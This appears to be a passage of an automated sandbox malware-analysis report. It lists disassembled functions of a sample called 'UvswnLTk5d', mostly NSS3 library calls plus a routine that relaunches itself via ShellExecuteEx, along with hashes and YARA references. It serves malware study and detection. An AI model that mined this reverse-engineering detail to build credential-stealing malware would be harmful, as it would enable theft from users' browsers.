Instruction ID: 49aef3ecc909d19b10c602b692afe97655d8437fa78bc90c62905fdd5e32c494
Opcode Fuzzy Hash: e1c43f2cdb65b1a41ceddb467b4401a4a4f611212766dfc7e0eaec04c8978093
Instruction Fuzzy Hash: A201A2B66051623BFF2057756C49F7B3D6CDB417B8B240236FD29DA680EA618C1481F1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CFA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CFA5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA2CEC

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

PR_EnterMonitor.NSS3(?), ref: 6CFA2D02
PR_EnterMonitor.NSS3(?), ref: 6CFA2D1F
PR_ExitMonitor.NSS3(?), ref: 6CFA2D42
PR_ExitMonitor.NSS3(?), ref: 6CFA2D5B

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 945fa29047d509257622182e1b5dc55289d5e551e6ef429e16acd02eb74d084d
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 3301C4B5A10600ABE7309EA6FC44BC7F7A1FF45318F044525E85E86721EB33F9168792

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CFA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CFA5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA2D9C

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

PR_EnterMonitor.NSS3(?), ref: 6CFA2DB2
PR_EnterMonitor.NSS3(?), ref: 6CFA2DCF
PR_ExitMonitor.NSS3(?), ref: 6CFA2DF2
PR_ExitMonitor.NSS3(?), ref: 6CFA2E0B

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 7e85413bf46c6137846f7ec17476d5dd50a825ed617084c082b61d88b0b74735
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 2501C4B5A10600ABEB309E66FC45BC7F7A1EF41358F044435E85D87B11DA33F926C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D02BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6D027AFE,?,?,?,?,?,?,?,?,6D02798A), ref: 6D02BDC3
free.MOZGLUE(?,?,6D027AFE,?,?,?,?,?,?,?,?,6D02798A), ref: 6D02BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D027AFE,?,?,?,?,?,?,?,?,6D02798A), ref: 6D02BDE9
free.MOZGLUE(?,00000000,00000000,?,6D027AFE,?,?,?,?,?,?,?,?,6D02798A), ref: 6D02BE21
free.MOZGLUE(00000000,00000000,?,6D027AFE,?,?,?,?,?,?,?,?,6D02798A), ref: 6D02BE32

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 3937ca9389be1bdf992163237d3d0ec7f8c6114b2329685ce908ca7b7953da66
Instruction ID: e147b5bcb45bfc517ab8e69d4222f389da319753ded4632a4636424808e832bc
Opcode Fuzzy Hash: 3937ca9389be1bdf992163237d3d0ec7f8c6114b2329685ce908ca7b7953da66
Instruction Fuzzy Hash: CD1115B5A012619FEF20CF38C805B5A3BF9FB4B214B444029E54AEB312E731A854CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFBACF0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?), ref: 6CFBAD10

Part of subcall function 6CF0ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CF0ED8F
Part of subcall function 6CF0ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CF0ED9E
Part of subcall function 6CF0ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CF0EDA4

PK11_FreeSymKey.NSS3(?), ref: 6CFBAD22
free.MOZGLUE(?), ref: 6CFBAD3C
free.MOZGLUE(?), ref: 6CFBAD57
free.MOZGLUE(?), ref: 6CFBAD61

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalDeleteSectionfree$DestroyFreeK11_Monitor
String ID:
API String ID: 3401493251-0
Opcode ID: 5e5a52d44f319b4038674c6277e91cb9873b1b09805ac4eba667caf5ce4949be
Instruction ID: 28852ae965c870a05631fb92c8a2f7178b6c243017defabe57ac368bd723d3c1
Opcode Fuzzy Hash: 5e5a52d44f319b4038674c6277e91cb9873b1b09805ac4eba667caf5ce4949be
Instruction Fuzzy Hash: EF0171B0A01B425BEB60DF3ADC08757B7E8FF05659B104839E89AD3A00EB30F424CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6D027C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6D027C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D027C83
malloc.MOZGLUE(00000001), ref: 6D027C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6D027C9F
PR_GetCurrentThread.NSS3 ref: 6D027CAD

Part of subcall function 6CFD9BF0: TlsGetValue.KERNEL32(?,?,?,6D020A75), ref: 6CFD9C07

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 55e3d4992a8bd806df72ebe88b01d4fca416650c336fadeef73937a2bfa11d9c
Instruction ID: e8fc3f13f78ef1da5e06d15aa6b184b0470f0a4e358c0ff67262831d46a92459
Opcode Fuzzy Hash: 55e3d4992a8bd806df72ebe88b01d4fca416650c336fadeef73937a2bfa11d9c
Instruction Fuzzy Hash: 29F0CDB1D202067BEB009F7A9C09A5B7B98EF40265B11853AEC09C3300EB31E614CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D02ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6D02A6D8), ref: 6D02AE0D
free.MOZGLUE(?), ref: 6D02AE14
DeleteCriticalSection.KERNEL32(6D02A6D8), ref: 6D02AE36
free.MOZGLUE(?), ref: 6D02AE3D
free.MOZGLUE(00000000,00000000,?,?,6D02A6D8), ref: 6D02AE47

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 0bb949528bfbc1318ab0973637b8952cfbde11269b1e909402099098dc06510e
Instruction ID: 5fbaf31c77e1a7dd7e0f722cdf5f92b6fbc986161ba3fcc4001c89157ffde89d
Opcode Fuzzy Hash: 0bb949528bfbc1318ab0973637b8952cfbde11269b1e909402099098dc06510e
Instruction Fuzzy Hash: A6F096B5001A42A7DF108F68D808F677BBCBF867357140329F52A83540D731E126C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 004185A7 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004185B3

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__getptd.LIBCMT ref: 004185CA
__amsg_exit.LIBCMT ref: 004185D8
__lock.LIBCMT ref: 004185E8
__updatetlocinfoEx_nolock.LIBCMT ref: 004185FC

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction ID: cdd0eec35e4bf80da2317afb9b55000317a90f0185e5a3c9ee5e330d7cc08b67
Opcode Fuzzy Hash: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction Fuzzy Hash: A4F09632A49710AAD721BBBA9C027CA77B1AF00739F10411FF505A62D2CF6C69C1CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEB7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEB7D13, 6CEB7D1F, 6CEB7D47, 6CEB7D53, 6CEB7D5F
%s at line %d of [%.10s], xrefs: 6CEB7D2E
database corruption, xrefs: 6CEB7D29

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 912db98f85b0d974b2a88886ac62a0ac6a34a8556367a00bc7df805155f07e00
Instruction ID: b3a959d7af38833b0e550871b2513e9a5e7ce82bc6d90069e393dfdf42a04b87
Opcode Fuzzy Hash: 912db98f85b0d974b2a88886ac62a0ac6a34a8556367a00bc7df805155f07e00
Instruction Fuzzy Hash: B5314D31E0422997C710CF5DC940ABDB7F2EF89309B6941A9E448B7B82D270D851C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CEA6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEA6D20
%s at line %d of [%.10s], xrefs: 6CEA6D2F
database corruption, xrefs: 6CEA6D2A

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: d3b75d8ebcf8e68695cd8b58ea5f48bbad1b80a4845fffe423c81c5d1f745972
Instruction ID: 89e26d40cc11e85475db75a7a08b76ad5dc1756752859bffa6f15c440dcd9f68
Opcode Fuzzy Hash: d3b75d8ebcf8e68695cd8b58ea5f48bbad1b80a4845fffe423c81c5d1f745972
Instruction Fuzzy Hash: 4C2102306003059FC710DE59C841B5AB7FAAF86348F35892CD85A9FF51E370E9468792

Uniqueness

Uniqueness Score: -1.00%

Function 004132F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00413323

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

ShellExecuteEx.SHELL32(0000003C), ref: 004133E6
ExitProcess.KERNEL32 ref: 00413415

Strings

<, xrefs: 00413399

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4aad0cd39922939f099d23cb034ff9c0e7895b179dd2d9031b0a90543be0930c
Instruction ID: 9270ca21e45796c21bf284f368f95b7d0dbf71ea93a5a7258f1c6a627d8bac6b
Opcode Fuzzy Hash: 4aad0cd39922939f099d23cb034ff9c0e7895b179dd2d9031b0a90543be0930c
Instruction Fuzzy Hash: 383144B19012189BDB14EB91DD91FDDBB78AF48304F80518DF20566191DF746B89CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 6CFDCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CFDCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CFDCC7B), ref: 6CFDCD7A
Part of subcall function 6CFDCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CFDCD8E
Part of subcall function 6CFDCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CFDCDA5
Part of subcall function 6CFDCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CFDCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CFDCCB5
memcpy.VCRUNTIME140(6D0714F4,6D0702AC,00000090), ref: 6CFDCCD3
memcpy.VCRUNTIME140(6D071588,6D0702AC,00000090), ref: 6CFDCD2B

Part of subcall function 6CEF9AC0: socket.WSOCK32(?,00000017,6CEF99BE), ref: 6CEF9AE6
Part of subcall function 6CEF9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CEF99BE), ref: 6CEF9AFC

Part of subcall function 6CF00590: closesocket.WSOCK32(6CEF9A8F,?,?,6CEF9A8F,00000000), ref: 6CF00597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CFDCCB0

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 026e246992e55ca54ee5b9854f0e58a805caea6528ea807932692e026a8243d0
Instruction ID: 5fa1334f3e26f97032a608b6adaa27e057c7c8cb87fff4c894288d9a2b534299
Opcode Fuzzy Hash: 026e246992e55ca54ee5b9854f0e58a805caea6528ea807932692e026a8243d0
Instruction Fuzzy Hash: AD11D0F1A02260DEFB149FAAAC66B423BB8A347218F141139E90DEF7C1E77154048BD7

Uniqueness

Uniqueness Score: -1.00%

Function 6CF41CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CF41CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CF41CF1

Part of subcall function 6D0209D0: PR_Now.NSS3 ref: 6D020A22
Part of subcall function 6D0209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D020A35
Part of subcall function 6D0209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D020A66
Part of subcall function 6D0209D0: PR_GetCurrentThread.NSS3 ref: 6D020A70
Part of subcall function 6D0209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D020A9D
Part of subcall function 6D0209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D020AC8
Part of subcall function 6D0209D0: PR_vsmprintf.NSS3(?,?), ref: 6D020AE8
Part of subcall function 6D0209D0: EnterCriticalSection.KERNEL32(?), ref: 6D020B19
Part of subcall function 6D0209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D020B48
Part of subcall function 6D0209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D020C76
Part of subcall function 6D0209D0: PR_LogFlush.NSS3 ref: 6D020C7E

Strings

pInitArgs = 0x%p, xrefs: 6CF41CEC
C_Initialize, xrefs: 6CF41CD3

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 447edd1c862600020b053d9c7c54ec7f910a0d81ad750f70558b7481b388ed68
Instruction ID: db6dee6a690bed0e48ad31119f0d60917e02ac46572f37d7054f1b932b78dd55
Opcode Fuzzy Hash: 447edd1c862600020b053d9c7c54ec7f910a0d81ad750f70558b7481b388ed68
Instruction Fuzzy Hash: 8D01F1B5201110EFEB10AB25CD08B5A3BB4EBC332AF08C024E509EB652DB30D898C791

Uniqueness

Uniqueness Score: -1.00%

Function 00415450 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
wsprintfW.USER32 ref: 00415478

Strings

%hs, xrefs: 0041546F

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction ID: 2a04a3b42468460cff415e79ad4cc7303691da2b1e165ac812b33aed5ccf4e4e
Opcode Fuzzy Hash: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction Fuzzy Hash: A5E0ECB5A40608BFDB20DFD4ED0AEAD77A9EB48701F100194F90AD7640DA719E109B95

Uniqueness

Uniqueness Score: -1.00%

Function 6CF81D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CF81D8F

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CF81DA6

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
